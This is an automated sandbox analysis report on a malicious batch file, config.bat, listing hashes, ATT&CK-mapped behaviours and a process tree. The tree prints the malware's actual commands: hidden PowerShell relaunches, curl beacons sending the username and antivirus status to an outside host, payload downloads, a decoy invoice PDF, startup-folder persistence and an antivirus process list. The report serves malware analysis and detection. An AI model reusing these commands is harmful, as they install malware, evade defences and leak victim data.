f32b25698fce9b37e4ec0ace0aa13b8babba7b523f898e174a6c90bf8d8e5733

Analysis

max time kernel
299s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
06/11/2026, 10:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
config.bat
Size 10KB
Sample261106-mxbsvacs2m
SHA256 f32b25698fce9b37e4ec0ace0aa13b8babba7b523f898e174a6c90bf8d8e5733
MD5 9b88d89ac1ae0037cd0a152ae2f1f42f
SHA1 74d784175f39c156608ea4d7532f3e484f588995
SHA512 fb8eb4218bfab4938baa239a15127cab537f98acdcbd145d0f2cd4437aa0eae442d642d857fbaf53ebb34155184509e18b71fcb0efe86625dddd2dc5a7210a0b
SSDEEP 192:Ir1y4PnPXkFxTAhoZZBBVNDwEnLmOTIlTOOImIgxySIbPFgxySfT6PY5TWFTFsA:Ir1y4Pn8FxTAhoZZBBvDwxOTIlTOOImq
TLSH
T11A32146731484D21DAF9E284F6341482F35AD39B474099EEB04980FDAC7D7BEC39D2A8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

adware discovery execution persistence privilege_escalation spyware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4700	powershell.exe
2864	powershell.exe
1168	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	cmd.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\wupd.bat	cmd.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3232	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4588	cmd.exe
3424	cmd.exe
1780	cmd.exe
4032	cmd.exe
2428	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2140	PING.EXE
4664	PING.EXE

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000_Classes\Local Settings	cmd.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2140	PING.EXE
4664	PING.EXE

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
4700	powershell.exe
4700	powershell.exe
2864	powershell.exe
2864	powershell.exe
1168	powershell.exe
1168	powershell.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeIncreaseQuotaPrivilege	2864	powershell.exe
Token: SeSecurityPrivilege	2864	powershell.exe
Token: SeTakeOwnershipPrivilege	2864	powershell.exe
Token: SeLoadDriverPrivilege	2864	powershell.exe
Token: SeSystemProfilePrivilege	2864	powershell.exe
Token: SeSystemtimePrivilege	2864	powershell.exe
Token: SeProfSingleProcessPrivilege	2864	powershell.exe
Token: SeIncBasePriorityPrivilege	2864	powershell.exe
Token: SeCreatePagefilePrivilege	2864	powershell.exe
Token: SeBackupPrivilege	2864	powershell.exe
Token: SeRestorePrivilege	2864	powershell.exe
Token: SeShutdownPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeSystemEnvironmentPrivilege	2864	powershell.exe
Token: SeRemoteShutdownPrivilege	2864	powershell.exe
Token: SeUndockPrivilege	2864	powershell.exe
Token: SeManageVolumePrivilege	2864	powershell.exe
Token: 33	2864	powershell.exe
Token: 34	2864	powershell.exe
Token: 35	2864	powershell.exe
Token: 36	2864	powershell.exe
Token: SeIncreaseQuotaPrivilege	2864	powershell.exe
Token: SeSecurityPrivilege	2864	powershell.exe
Token: SeTakeOwnershipPrivilege	2864	powershell.exe
Token: SeLoadDriverPrivilege	2864	powershell.exe
Token: SeSystemProfilePrivilege	2864	powershell.exe
Token: SeSystemtimePrivilege	2864	powershell.exe
Token: SeProfSingleProcessPrivilege	2864	powershell.exe
Token: SeIncBasePriorityPrivilege	2864	powershell.exe
Token: SeCreatePagefilePrivilege	2864	powershell.exe
Token: SeBackupPrivilege	2864	powershell.exe
Token: SeRestorePrivilege	2864	powershell.exe
Token: SeShutdownPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeSystemEnvironmentPrivilege	2864	powershell.exe
Token: SeRemoteShutdownPrivilege	2864	powershell.exe
Token: SeUndockPrivilege	2864	powershell.exe
Token: SeManageVolumePrivilege	2864	powershell.exe
Token: 33	2864	powershell.exe
Token: 34	2864	powershell.exe
Token: 35	2864	powershell.exe
Token: 36	2864	powershell.exe
Token: SeDebugPrivilege	3232	tasklist.exe
Token: SeDebugPrivilege	1168	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3388	AcroRd32.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe
3388	AcroRd32.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4588 wrote to memory of 4700	4588	cmd.exe	85
PID 4700 wrote to memory of 3424	4700	powershell.exe	86
PID 3424 wrote to memory of 4672	3424	cmd.exe	88
PID 3424 wrote to memory of 1780	3424	cmd.exe	90
PID 3424 wrote to memory of 5400	3424	cmd.exe	91
PID 3424 wrote to memory of 3388	3424	cmd.exe	94
PID 3424 wrote to memory of 1916	3424	cmd.exe	96
PID 3424 wrote to memory of 2864	3424	cmd.exe	99
PID 3424 wrote to memory of 4032	3424	cmd.exe	100
PID 3424 wrote to memory of 3232	3424	cmd.exe	102
PID 3424 wrote to memory of 4832	3424	cmd.exe	103
PID 4032 wrote to memory of 1168	4032	cmd.exe	104
PID 1168 wrote to memory of 2428	1168	powershell.exe	105
PID 2428 wrote to memory of 4208	2428	cmd.exe	107
PID 2428 wrote to memory of 1952	2428	cmd.exe	108
PID 2428 wrote to memory of 2140	2428	cmd.exe	109
PID 3424 wrote to memory of 3332	3424	cmd.exe	110
PID 3424 wrote to memory of 5036	3424	cmd.exe	112
PID 3424 wrote to memory of 4048	3424	cmd.exe	113
PID 3424 wrote to memory of 5256	3424	cmd.exe	114
PID 3424 wrote to memory of 4052	3424	cmd.exe	115
PID 3424 wrote to memory of 2376	3424	cmd.exe	116
PID 3424 wrote to memory of 1708	3424	cmd.exe	117
PID 3424 wrote to memory of 4300	3424	cmd.exe	119
PID 3424 wrote to memory of 3436	3424	cmd.exe	120
PID 3424 wrote to memory of 4784	3424	cmd.exe	121
PID 3424 wrote to memory of 1108	3424	cmd.exe	122
PID 3424 wrote to memory of 1080	3424	cmd.exe	123
PID 3424 wrote to memory of 1324	3424	cmd.exe	124
PID 3424 wrote to memory of 5380	3424	cmd.exe	125
PID 3424 wrote to memory of 6036	3424	cmd.exe	126
PID 3424 wrote to memory of 3772	3424	cmd.exe	127
PID 3388 wrote to memory of 864	3388	AcroRd32.exe	128
PID 3424 wrote to memory of 960	3424	cmd.exe	129
PID 3424 wrote to memory of 1208	3424	cmd.exe	130
PID 3424 wrote to memory of 2728	3424	cmd.exe	131
PID 3424 wrote to memory of 3972	3424	cmd.exe	132
PID 3424 wrote to memory of 1392	3424	cmd.exe	133
PID 3424 wrote to memory of 5760	3424	cmd.exe	134
PID 864 wrote to memory of 3404	864	RdrCEF.exe	136
PID 864 wrote to memory of 1632	864	RdrCEF.exe	137
PID 864 wrote to memory of 1632	864	RdrCEF.exe	137
PID 864 wrote to memory of 2660	864	RdrCEF.exe	139
PID 864 wrote to memory of 4196	864	RdrCEF.exe	140
PID 864 wrote to memory of 4196	864	RdrCEF.exe	140
PID 3424 wrote to memory of 1320	3424	cmd.exe	141
PID 3424 wrote to memory of 5352	3424	cmd.exe	142
PID 864 wrote to memory of 4284	864	RdrCEF.exe	143
PID 3424 wrote to memory of 5052	3424	cmd.exe	145
PID 864 wrote to memory of 4524	864	RdrCEF.exe	146
PID 3424 wrote to memory of 4280	3424	cmd.exe	147
PID 3424 wrote to memory of 4664	3424	cmd.exe	148
PID 3424 wrote to memory of 4616	3424	cmd.exe	151
PID 3424 wrote to memory of 4088	3424	cmd.exe	152
PID 3424 wrote to memory of 2720	3424	cmd.exe	153
PID 3424 wrote to memory of 4200	3424	cmd.exe	154
PID 3424 wrote to memory of 3184	3424	cmd.exe	155
PID 3424 wrote to memory of 5236	3424	cmd.exe	156
PID 3424 wrote to memory of 4748	3424	cmd.exe	157
PID 3424 wrote to memory of 2756	3424	cmd.exe	159

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\config.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4588
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\config.bat' -ArgumentList 'h ' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\config.bat" h "
    3⤵
    - Checks computer location settings
    - Creates a file in the Startup directory
    - Executes a command shell one-liner
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:3424
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -sk --connect-timeout 6 --max-time 10 "https://aelcms.com/inv/b.php?s=run&h=tk30xce43ac325&c=Admin"
      4⤵
      PID:4672
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "C:\Windows\System32\curl.exe" -sk --connect-timeout 6 --max-time 10 "https://aelcms.com/inv/b.php?g=1&h=tk30xce43ac325&c=Admin"
      4⤵
      Executes a command shell one-liner
      PID:1780
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -sk --connect-timeout 8 --max-time 30 -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\rb.pdf" "https://aelcms.com/inv/invoice.pdf"
      4⤵
      PID:5400
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\rb.pdf"
      4⤵
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Modifies Internet Explorer settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:3388
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:864
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=AA0618D92F60C88BDC11A77C3E65F714 --mojo-platform-channel-handle=1744 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3404
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=62F0F0045DFECD6C467873CC5446C70C --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=62F0F0045DFECD6C467873CC5446C70C --renderer-client-id=2 --mojo-platform-channel-handle=1776 --allow-no-sandbox-job /prefetch:1
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1632
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C511A1016B15D3D06BB1EA55F3393C34 --mojo-platform-channel-handle=2336 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2660
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=14363D8D454F2A14DA52CD43E7D6BAA1 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=14363D8D454F2A14DA52CD43E7D6BAA1 --renderer-client-id=5 --mojo-platform-channel-handle=1980 --allow-no-sandbox-job /prefetch:1
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4196
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=AD6195FC7D3CF6EB0EB9EA14BDF5B126 --mojo-platform-channel-handle=2696 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4284
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=9661053966C29E6753363E9A6E95CD2E --mojo-platform-channel-handle=2828 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4524
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -sk "https://aelcms.com/inv/b.php?s=av&h=tk30xce43ac325&c=Admin&a=early"
      4⤵
      PID:1916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$me=$PID; $w=(Get-CimInstance Win32_Process -Filter \"ProcessId=$me\").ParentProcessId; Get-CimInstance Win32_Process -Filter \"Name='cmd.exe'\" | Where-Object { $_.ProcessId -ne $w -and $_.CommandLine -match 'tmp_t|iv\.bat' } | ForEach-Object { Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2864
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\StartUp\wupd.bat"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4032
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wupd.bat' -ArgumentList 'h ' -WindowStyle Hidden"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1168
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wupd.bat" h "
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2428
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -skf -L --retry 2 --connect-timeout 8 --max-time 90 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\wu.nw" "https://aelcms.com/inv/g.txt?u29980"
        7⤵
        
        PID:4208
        
        C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -skf -L --retry 2 --connect-timeout 8 --max-time 90 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\wu.nw" "https://aelcms.com/inv/g.bat?u15030"
        7⤵
        
        PID:1952
        
        C:\Windows\system32\PING.EXE
        
        ping -n 1801 127.0.0.1
        7⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:2140
  - - C:\Windows\system32\tasklist.exe
      tasklist /fo csv /nh
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3232
  - - C:\Windows\system32\findstr.exe
      findstr /i "ekrn.exe avp.exe avgnt.exe avastui.exe avguard.exe nod32krn.exe avg.exe"
      4⤵
      PID:4832
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -sk "https://aelcms.com/inv/b.php?s=av&h=tk30xce43ac325&c=Admin&a=Defender/None"
      4⤵
      PID:3332
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a2.dat" "https://aelcms.com/inv/a2.dat"
      4⤵
      PID:5036
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a2.dat" "https://aelcms.com/inv/a2.dat"
      4⤵
      PID:4048
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a2.dat" "https://aelcms.com/inv/a2.dat"
      4⤵
      PID:5256
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a2.pyd" "https://aelcms.com/inv/a2.pyd"
      4⤵
      PID:4052
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a2.pyd" "https://aelcms.com/inv/a2.pyd"
      4⤵
      PID:2376
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a2.pyd" "https://aelcms.com/inv/a2.pyd"
      4⤵
      PID:1708
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a2.dat" "https://aelcms.com/inv/a2.dat"
      4⤵
      PID:4300
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -skf --connect-timeout 10 --max-time 60 --remove-on-error -o "C:\Users\Admin\AppData\Local\Microsoft\Windows\StateCache\a2.dat" "https://aelcms.com/inv/a2.dat"
      4⤵
      PID:3436
